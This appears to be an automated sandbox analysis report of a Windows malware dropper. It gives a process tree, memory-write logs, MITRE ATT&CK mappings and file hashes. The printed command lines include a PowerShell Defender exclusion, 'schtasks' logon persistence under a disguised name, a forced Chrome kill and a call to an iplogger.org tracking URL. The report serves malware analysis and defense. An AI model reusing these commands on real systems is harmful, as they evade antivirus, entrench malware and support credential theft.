PID 2756 wrote to memory of 2608	2756	setup_installer.exe	30
PID 2756 wrote to memory of 2608	2756	setup_installer.exe	30
PID 2756 wrote to memory of 2608	2756	setup_installer.exe	30
PID 2756 wrote to memory of 2608	2756	setup_installer.exe	30
PID 2756 wrote to memory of 2608	2756	setup_installer.exe	30
PID 2756 wrote to memory of 2608	2756	setup_installer.exe	30
PID 2756 wrote to memory of 2608	2756	setup_installer.exe	30
PID 2608 wrote to memory of 1028	2608	setup_install.exe	32
PID 2608 wrote to memory of 1028	2608	setup_install.exe	32
PID 2608 wrote to memory of 1028	2608	setup_install.exe	32
PID 2608 wrote to memory of 1028	2608	setup_install.exe	32
PID 2608 wrote to memory of 1028	2608	setup_install.exe	32
PID 2608 wrote to memory of 1028	2608	setup_install.exe	32
PID 2608 wrote to memory of 1028	2608	setup_install.exe	32
PID 1028 wrote to memory of 288	1028	cmd.exe	34
PID 1028 wrote to memory of 288	1028	cmd.exe	34
PID 1028 wrote to memory of 288	1028	cmd.exe	34
PID 1028 wrote to memory of 288	1028	cmd.exe	34
PID 1028 wrote to memory of 288	1028	cmd.exe	34
PID 1028 wrote to memory of 288	1028	cmd.exe	34
PID 1028 wrote to memory of 288	1028	cmd.exe	34
PID 2608 wrote to memory of 648	2608	setup_install.exe	33
PID 2608 wrote to memory of 648	2608	setup_install.exe	33
PID 2608 wrote to memory of 648	2608	setup_install.exe	33
PID 2608 wrote to memory of 648	2608	setup_install.exe	33
PID 2608 wrote to memory of 648	2608	setup_install.exe	33
PID 2608 wrote to memory of 648	2608	setup_install.exe	33
PID 2608 wrote to memory of 648	2608	setup_install.exe	33
PID 2608 wrote to memory of 2276	2608	setup_install.exe	35
PID 2608 wrote to memory of 2276	2608	setup_install.exe	35
PID 2608 wrote to memory of 2276	2608	setup_install.exe	35
PID 2608 wrote to memory of 2276	2608	setup_install.exe	35
PID 2608 wrote to memory of 2276	2608	setup_install.exe	35
PID 2608 wrote to memory of 2276	2608	setup_install.exe	35
PID 2608 wrote to memory of 2276	2608	setup_install.exe	35
PID 2608 wrote to memory of 1788	2608	setup_install.exe	36
PID 2608 wrote to memory of 1788	2608	setup_install.exe	36
PID 2608 wrote to memory of 1788	2608	setup_install.exe	36
PID 2608 wrote to memory of 1788	2608	setup_install.exe	36
PID 2608 wrote to memory of 1788	2608	setup_install.exe	36
PID 2608 wrote to memory of 1788	2608	setup_install.exe	36
PID 2608 wrote to memory of 1788	2608	setup_install.exe	36
PID 2608 wrote to memory of 2388	2608	setup_install.exe	37
PID 2608 wrote to memory of 2388	2608	setup_install.exe	37
PID 2608 wrote to memory of 2388	2608	setup_install.exe	37
PID 2608 wrote to memory of 2388	2608	setup_install.exe	37
PID 2608 wrote to memory of 2388	2608	setup_install.exe	37
PID 2608 wrote to memory of 2388	2608	setup_install.exe	37
PID 2608 wrote to memory of 2388	2608	setup_install.exe	37
PID 1788 wrote to memory of 2540	1788	cmd.exe	39
PID 1788 wrote to memory of 2540	1788	cmd.exe	39
PID 1788 wrote to memory of 2540	1788	cmd.exe	39
PID 1788 wrote to memory of 2540	1788	cmd.exe	39
PID 648 wrote to memory of 2368	648	cmd.exe	40
PID 648 wrote to memory of 2368	648	cmd.exe	40
PID 648 wrote to memory of 2368	648	cmd.exe	40
PID 648 wrote to memory of 2368	648	cmd.exe	40
PID 648 wrote to memory of 2368	648	cmd.exe	40
PID 648 wrote to memory of 2368	648	cmd.exe	40
PID 648 wrote to memory of 2368	648	cmd.exe	40
PID 2388 wrote to memory of 2500	2388	cmd.exe	41
PID 2388 wrote to memory of 2500	2388	cmd.exe	41
PID 2388 wrote to memory of 2500	2388	cmd.exe	41
PID 2388 wrote to memory of 2500	2388	cmd.exe	41

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 268b3127b936e01.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\268b3127b936e01.exe
      268b3127b936e01.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 21bcc8456d82.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:648
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\21bcc8456d82.exe
      21bcc8456d82.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2368
    - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\21bcc8456d82.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\21bcc8456d82.exe" -a
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 5298ab674.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2276
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\5298ab674.exe
      5298ab674.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      PID:2940
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2768
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 4a448bcddaa0b3.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1788
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\4a448bcddaa0b3.exe
      4a448bcddaa0b3.exe
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      PID:2540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 0fd5c77ed90f39d5.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2388
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\0fd5c77ed90f39d5.exe
      0fd5c77ed90f39d5.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 8e14eeece3767.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2520
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\8e14eeece3767.exe
      8e14eeece3767.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:2376
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2164
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2892
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2240
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUILD1~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUILD1~1.EXE
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2768
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\7zS3092.tmp\Install.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3028
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/16B4c7
        7⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:1676
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1676 CREDAT:275457 /prefetch:2
        8⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 28e2ddd2eed6.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2796
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\28e2ddd2eed6.exe
      28e2ddd2eed6.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1288
    - - C:\Users\Admin\AppData\Local\Temp\chrome2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1352
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        6⤵
        
        PID:2236
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1800
      - C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        6⤵
        Executes dropped EXE
        
        PID:1288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        7⤵
        
        PID:1936
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1528
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        
        PID:2676
    - - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2072
      - C:\Windows\winnetdriv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" 1728286699 0
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c b28b347be25f8ab8.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2820
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\b28b347be25f8ab8.exe
      b28b347be25f8ab8.exe
      4⤵
      Executes dropped EXE
      PID:584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 4aa1e8b379159.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2688
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\4aa1e8b379159.exe
      4aa1e8b379159.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2348
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 268b3127b936e0010.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1776
  - - C:\Users\Admin\AppData\Local\Temp\7zS4CAA9A56\268b3127b936e0010.exe
      268b3127b936e0010.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1304
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2608 -s 432
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

softokn3.dll

Path C:\ProgramData\softokn3.dll
Size 275B
SHA256 b745b0c0db87a89de5e542e9ae0a06f585793ac3f4240bff3524e7dbdba79978
MD5 a378c450e6ad9f1e0356ed46da190990
SHA1 d457a2c162391d2ea30ec2dc62c8fb3b973f6a66
SHA512 e6cdc8f570af97e48b1d8968730db0afc46f9dd6ad7366a936a5518801debb61c86cc61526e5e26e7ad3b3daeb76a19b32d7c0da33140597f6d19163683c12b5
MD5 SHA1 SHA512

Submit Download

3C428B1A3E5F57D887EC4B864FAC5DCC

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC
Size 914B
SHA256 cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f
MD5 e4a68ac854ac5242460afd72481b2a44
SHA1 df3c24f9bfd666761b268073fe06d1cc8d4f82a4
SHA512 5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5
MD5 SHA1 SHA512

Submit Download

3C428B1A3E5F57D887EC4B864FAC5DCC

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC
Size 252B
SHA256 fdabc918959d555f73f99df7cb49c3b5562a92d9e9f4928ac7a09fd3e51c1aa7
MD5 ca5cfe9cae1b109f905851bab4e356ff
SHA1 67800893310f4cdcbdfff26b86cd9fc3c50e2574
SHA512 5be89d9f585b6872fd96a9a3a7ce0b0141f8754fe8bed68372a01864d57c96621c02e5336973aabb983e3a09aa4cca6dc534f053ecb361861b2ece3aa7d7b2cf
MD5 SHA1 SHA512

Submit Download